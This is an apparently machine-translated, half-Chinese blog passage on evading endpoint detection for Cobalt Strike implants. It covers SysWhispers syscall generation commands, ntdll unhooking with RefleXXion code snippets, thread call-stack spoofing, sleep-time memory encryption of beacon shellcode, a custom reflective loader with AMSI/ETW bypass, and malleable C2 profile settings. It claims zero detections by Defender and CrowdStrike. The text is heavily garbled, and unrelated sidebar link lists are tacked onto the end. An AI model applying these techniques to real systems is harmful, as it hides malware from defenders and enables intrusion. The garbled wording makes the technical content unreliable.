py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw
When using met pit:
起初一直以为是mov r10,rcx报错,Later found to be the next line error..Unable to write directly into memory.不知道怎么解决,生成jumper是可以使用的:
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1
八、删除ntdll.dll中的钩子
另一种绕过ntdll.dll中EDRA good way to hook,就是用ntdll.dllThe new copy of the override the default load(并被EDR钩住)的ntdll.dll.通常情况下,WindowsProcess of loading the firstDLL就是ntdll.dll库.而EDRSolutions need to make sure theyDLLThen loading,So that before our code execution will all hook arrangement to the loadedntdll.dll中.If our code in memory after loading a newntdll.dll副本,这些EDRThe hook will be covered by.RefleXXion是一个C++库,它实现了https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/Described in the various technical.RelfeXXionUsing direct system callNtOpenSection和NtMapViewOfSection来获得\KnownDlls\ntdll.dll(With load beforeDLL的注册表路径)In the purentdll.dll的句柄.然后,It will cover the loadedntdll.dll的.TEXT节,从而“冲走”所有的EDR钩子.
我建议使用RefleXXion库,The introduction of related skills can refer to the above.
实现原理
此技术在《The red team team development infrastructure-基础免杀(二)》中提到的syscall工具ParallelSyscalls中有提及.
The technology initially to《EDR Parallel-asis through Analysis》这篇文章中被提出.
Windows10之后的版本增加了windows parallel加载的特性,简单点说就是win10之前的系统dllLoading is synchronous loading,windows10After the introduction of the asynchronous loading.
在加载所有dllBefore the system will do a series of judgment,Judgment is using synchronous or asynchronous loading.
In the process of,windows会保存NtOpenFile(), NtCreateSection(), ZwQueryAttributeFile(), ZwOpenSection(), ZwMapViewOfFile()The several functions of the stub,保存位置在ntdll的.text节中.
这样就是说,The several functions even if washook,我们也可以获取到syscall number.And with this function,We are prepared to put the memory ofntdllTo cleanntdll,实现了unhook的操作.
Which get purentdll有两种方式,如图:
具体实现
参考工具RefleXXion
该工具有exe和dllCan be directly compiled in the form ofdll进行使用.利用RefleXXion的dllCan remove thentdll.32的hook.
下面的例子是对Sleep函数进行了hook,因为sleep函数在Kernel32.dll中,要对dll源码进行改动.
首先调用InitSyscallsFromLdrpThunkSignature函数,The function name as the name suggests is said to get tosyscall存根.
这段代码似曾相识,和《The red team team development infrastructure-基础免杀(二)》中的从dllSearch fromntdll.dll中搜索出syscallThe system call number is almost the same:
使用BuildSyscallStubThe factory function to generate different functionsyscall内联汇编代码:
Cast the function pointer for call:
The next to replace the memoryntdll.dll的函数,The tool using the two technologies,Said the two technologies is actuallyntdll.dllAccess to the location of the different,Technology from\??\C:\Windows\System32\ntdll.dll读取,Technology from two\KnownDlls\ntdll.dll读取.
技术一
使用NtCreateSection和NtMapViewOfSection api:
First of all, through the local file to create a memorysession:
ntStatus = RxNtCreateSection(&hSection, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY,
NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
After mapping to the current process in memory:
ntStatus = RxNtMapViewOfSection(hSection, NtCurrentProcess(), &pCleanNtdll, NULL, NULL, NULL, &sztViewSize, 1, 0, PAGE_READONLY);
可以看到dllInto the memory,明显是MZ头为PE文件.After the search is already loaded in the current processntdll.dll:
Parse existingdll的pe结构,找到.text段:
进行替换:
这样就解除了对ntdll.dll中函数的hook.
技术二
主要是用NtOpenSection和NtMapViewOfSection实现,dllAccess different corresponding use ofapi就不同,2 and technology principle about here,这里不做过多分析.
解决问题
编译dll直接调用,发现没有成功.
Looking for debuggingdll的方式,只要将dll项目的debugOptions for the loading of thedll的exe就可以实现dll的远程调试:
发现RtlInitUnicodeString调用返回了false,这个函数是ntdll.dll里的,Changes have a problem here:
这里返回的hHookedNtdll变量有两个作用,One is to get toRtlInitUnicodeString函数,The second is to as is replaced here waitingdll名称.
This role should bentdll.dll,And the role should be twokernel32.dll.进行一系列修改:
又报错,一样的问题,这里的pCleanNtll应该是ntdll的副本,这里是kernel32.dll的副本了:
改为从ntdll获取这个api.
没有被hook之前,sleepFunction of the memory of:
hookAfter the change:
加载dll后恢复:
可以看到hookHas been lifted,sleep函数被正常调用:
九、Forged thread call stack
接下来的两节,Two technologies will be introduced to the reader,To help in memoryshellcode规避检测,Two technologies are necessarycs进行使用的:
基础知识
Cobalt StrikeThe default command has60s的等待时间,我们可以通过sleep xCommand to change the time.通过sleep实现了beaconThe communication between control.beacon中调用系统sleep进行休眠,teamserverImplement a message queue,Will command is stored in the message queue.当beacon连接teamserverWhen read commands and perform.
常规的cs在sleep休眠时,Thread will return address to reside in memoryshellcode.By examining the suspicious threads in the process of the return address,我们的implant shellcode很容易被发现.
实现原理
在ThreadStackSpoofer项目的readme中有这样一张图:
笔者理解是EDR/Tools to get the call stack is through the stack state at a certain moment was generated a chain figure,Damage at some time in the middle of a link can cause chain figure incomplete fake call graph.
I didn't findThreadStackSpooferWhich is the author of the rendering tools to generate,这里直接贴ThreadStackSpoofer README中的图,经过hookThe call stack should be like the following figure:
没有经过hook的调用栈:
代码实现
在主线程中HOOK SLEEP函数,跳转到Mysleep函数.
Start by creating processbeacon,将MysleepThe location of the function return value originally instead0:
So you can simply disrupt the procedure call stack.
由于implantThe beacon of behavior,在大部分时间里,They are dormant,Wait for the incoming tasks from its controller.在这段时间里,implant很容易被EDRMemory scanning technology have found.This article describes two methods of avoiding the first,Is forged thread call stack.
当implant处于休眠状态时,Its thread will return address to reside in memoryshellcode.By examining the suspicious threads in the process of the return address,我们的implant shellcode很容易被发现.为了避免这种情况,You can try to break the return address andshellcodeThe link between.We can through the hookSleep()函数来做到这一点.When this hook is(由implant/ beacon shellcode)调用时,我们用0x0Cover the return address and call the originalSleep()函数.当Sleep()返回时,We have to replace the original return address,This thread will be returned to the correct address to continue.实际上,Mariusz Banach已经在他的ThreadStackSpoofer项目中实现了这种技术.This repository provides not only about the technical details of this technology,Also outlined some considerations.
We can see in the screenshot below,Thread the call stack is fake,Of the call stack in the fake pointnon-backed的内存位置,Threads and forge the call stack to we tied to sleep(MySleep)函数,并“切掉”The other part of the call stack.
默认的beacon线程调用栈:
伪造的beacon线程调用堆栈.
十、beaconThe memory of encryption
A bypass memory test method,When is in dormancy ofimplantThe executable memory area is encrypted.Use the same as mentioned in section on dormancy hooks,We can check the caller address(调用Sleep()的beacon代码,以及我们的MySleep()钩子)获得shellcode内存段.If the caller of the segment permissions asMEM_PRIVATE和EXECUTABLE,And the length and theshellcodeThe size of the similar,那么,就可以用XORFunction of the memory segment is encrypted,并调用Sleep()函数.然后,Sleep()函数返回时,Can decrypt the memory,并返回其地址.
Another kind of bypass the memory test method,Is a vector exception handler registered(Vectored Exception Handler,VEH),用于处理NO_ACCESSAn illegal abnormal、Decrypt memory segment and change the permissions toRX.And then before getting into sleep,The memory segment marked asNO_ACCESS,这样的话,当Sleep()函数返回时,It throws a memory access violation abnormal.Because we have registered the correspondingVEH,So will the exception in the thread context handle,And can be restored in the same location of the exception is thrown.该VEHCan be decrypted and permissions to change back toRX,这样implant就可以继续执行了.This technology can avoidimplantThere was a detectable into dormancySleep()钩子.
Mariusz Banach已经在ShellcodeFluctuation中实现了这种技术.
基本原理
主要是根据ShellcodeFluctuation
该项目是基于threadstackspooferProject enhanced,在sleepIn the functionshellcodeMemory modify attributes and decryption.Can to some extent aroundedrThe memory of scanning.原理就是beacon线程在执行sleep函数的时候,Automatically change the properties to the memory of encryption and is unenforceable,Perform normal againsleep函数.After the success of the perform recoveryshellcodeAnd you can perform,Wait for the next connection repeat the above operation.在sleepIn the process of function actually perform,shellcodeAs non-executable attributes can bypassedr的检查.
一个疑问
这里存在一个问题,加密shellcodeWords will not affectMysleep函数的执行?
推测MysleepLocated in the main process address space,Can always be accessed.跳出Mysleep的代码是在beacon线程的地址空间,Unenforceable attributes are being added to the.
我们通过对hookSleep函数的调试,You can see some things:
addressToHook是原本Sleep函数所在的位置,jumpAddress为Mysleep函数所在的位置:
alloc为shellcode所在地址,Can see the front and twosleepFunction location differs very much,Can confirm the previous guess.
代码实现
There are two main types of the tool is implemented,Rely on the judgment of the second command line parameters to achieve.该参数类型为int,对应枚举类,如下图:
0No memory operations
1Said will be identified as memoryRW,
2Said will be identified as memoryNO_ACCESS,By the exception handling mechanism to registerVEXFor modifying code execution logic.
Two kinds of technology process in front of about the same,The parameters parsed,hook sleep函数:
hook依旧依靠fastTrampoline函数:
接着beacon线程进入mysleep函数,sleepFunction: a couple of things:
- initializeShellcodeFluctuation
- shellcodeEncryptDecrypt
- unhook sleep
- true sleep
- shellcodeEncryptDecrypt(set memery to RW)
- rehook sleep
首先进入initializeShellcodeFluctuation函数,This function mainly frommysleepThe return address of the memory to search,找到shellcode的位置:
Search: it's fun way,memoryMapA container is stored memory block:
看看实现,VirtualQueryEx返回一个MEMORY_BASIC_INFORMATION对象,其RegionSizeSaid the memory size.
Through relentless traversal,All the storage memory block information objectmbiThe first address in the container.后续判断sleepIf the return address in the memory location toshellcode的内存段,Then complete theg_fluctuationDataInitialization of an object assignment:
g_fluctuationData主要包括shellcode内存块的位置,大小,是否加密,加密key等属性.
之后对shellcode进行xor加密,And the memory set toRW属性,Before encryption memory:
主要通过shellcodeEncryptDecrypt函数加密.
The encrypted memory:
密钥为:
使用Python验证,Encryption result is consistent with expected.
After cancelhookAnd carry out regularsleep:
等待csThe default in a minute,解密shellcodeAnd set the memory properties asRX,并且重新hook sleep函数,以便下次执行:
Memory has been reset.
除了通过set RW属性外,还可以set NO_ACCESS属性,Corresponding is the tool of command line arguments2,And parameters is different in the injectionshellcode之前注册了一个VEX:
Then the trigger tosleep和前面差不多,只是加密shellcode后标识为NO_ACCESS:
Follow-up visits to enter the exception handler when the memory of,Memory attribute set to againRX.恢复代码的执行.
十一、Custom reflective loader
We performed for the loaderbeacon shellcodeIn the end is a be executed in memoryDLL.许多C2框架利用了Stephen Fewer的ReflectiveLoader.关于反射型DLL Working principle of loader has a lot of written explanation,Stephen FewerThe code also provides a good document,但简而言之,Reflective loader can do the following:
- 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等);
- 将DLLSection and its corresponding written in memory;
- 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI;
- To load additional libraries and parse the import function address;
- 调用DLL的入口点.
Cobalt StrikeCurrently supported by reflection way toDLLLoading to the memory of the custom,Allow the red team players custombeacon DLL的加载方式,And add the corresponding zero kill technology.Bobby Cooke和Santiago P使用Cobalt Strike的UDRLSet up a hidden loader(BokuLoader),It is my own loader to use.BokuLoaderImplements a variety of free kill techniques:
- 限制对GetProcAddress()的调用(通常情况下,Analytic function addressWINAPICalls will beEDR挂钩,就像我们在第4Section do)
- AMSI&ETW绕过
- Only use direct system call
- 只使用RW或RX,而不使用RWX(EXECUTE_READWRITE)权限
- 从内存中删除beacon DLL的头文件
另外,Make sure to cancel the two定义的注释,以通过HellsGate和HalosGateUsing direct system call,To smoothly aroundETW和AMSI(其实没有必要,Because we have been disabledETW,No loader into another process).
十二、Using the flexible configuration file configurationOpSec
在柔性C2配置文件中,Ensure that configure the following options,To limit the use of aRWXMark the memory of(Not only will arouse suspicion,And it's easy to be detected),并在beaconStarted to removeshellcode.
set startrwx "false";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
总结:
Comprehensive utilization of these technologies,你可以绕过Microsoft Defender for Endpoint和CrowdStrike Falcon(And other defense products),我们在2022年4When tested for both products in middle,检出率为0——它们与SentinelOne一样,All the endpoint protection industry leader in the.
CrowdStrike FalconNo any warnings.
Windows Defender(还有Microsoft Defender for Endpoint,But there are no screenshots)No any warnings
当然,It's just complete the first step in the invasion of the endpoint,这并不意味着EDRSolution has been completely hopeless:In fact, this depends on the red team members the next choice after penetrating activities/模块,某些implant仍然有可能被EDRThe solution to capture.一般来说,The red team personnel or run nextBOF,要么通过implant的SOCKSAgent function after using the tools to build the tunnel.此外,还可以考虑把EDRHook the patch back ourSleep()钩子中,In order to avoid detection to the solution of hook and deleteETW/AMSIThe action of the patch.
这是一场猫捉老鼠的游戏,And the cat is definitely become better and better.
边栏推荐
猜你喜欢
proe和creo的区别有哪些
【手把手教你使用STM32HAL库的串口空闲中断】
2、字符集-编码-解码
C语言小笔记+题
How to understand the crawler's Scrapy framework in the simplest and most popular way?
【学术相关】清华教授发文劝退读博:我见过太多博士生精神崩溃、心态失衡、身体垮掉、一事无成!...
js数据类型、节流/防抖、点击事件委派优化、过渡动画
LINQ to SQL (Group By/Having/Count/Sum/Min/Max/Avg操作符)
web漏洞扫描器-awvs
JWT actively checks whether the Token has expired
随机推荐
LayaBox---TypeScript---首次接触遇到的问题
88. (the home of cesium) cesium polymerization figure
嵌入式分享合集28
经验分享|盘点企业进行知识管理时的困惑类型
stm32mp157系统移植 | 移植ST官方5.10内核到小熊派开发板
Web3时代的战争
【随记】新一天搬砖 --20220727
laravel whereDoesntHave
【2022杭电多校5 1012题 Buy Figurines】STL的运用
数字IC设计中基本运算的粗略的延时估计
Debug locally and start the local server in vs code
漫画 | 老板裁掉我两周后,又把我请回去,工资翻番!
Dotnet using WMI software acquisition system installation
JWT actively checks whether the Token has expired
两种白名单限流方案(redis lua限流,guava方案)
PowerCLi 导入License到vCenter 7
xss课堂内容复现
Matlab画图2
拼多多开放平台订单信息查询接口【pdd.order.basic.list.get订单基础信息列表查询接口(根据成交时间)】代码对接教程
暴雨中的人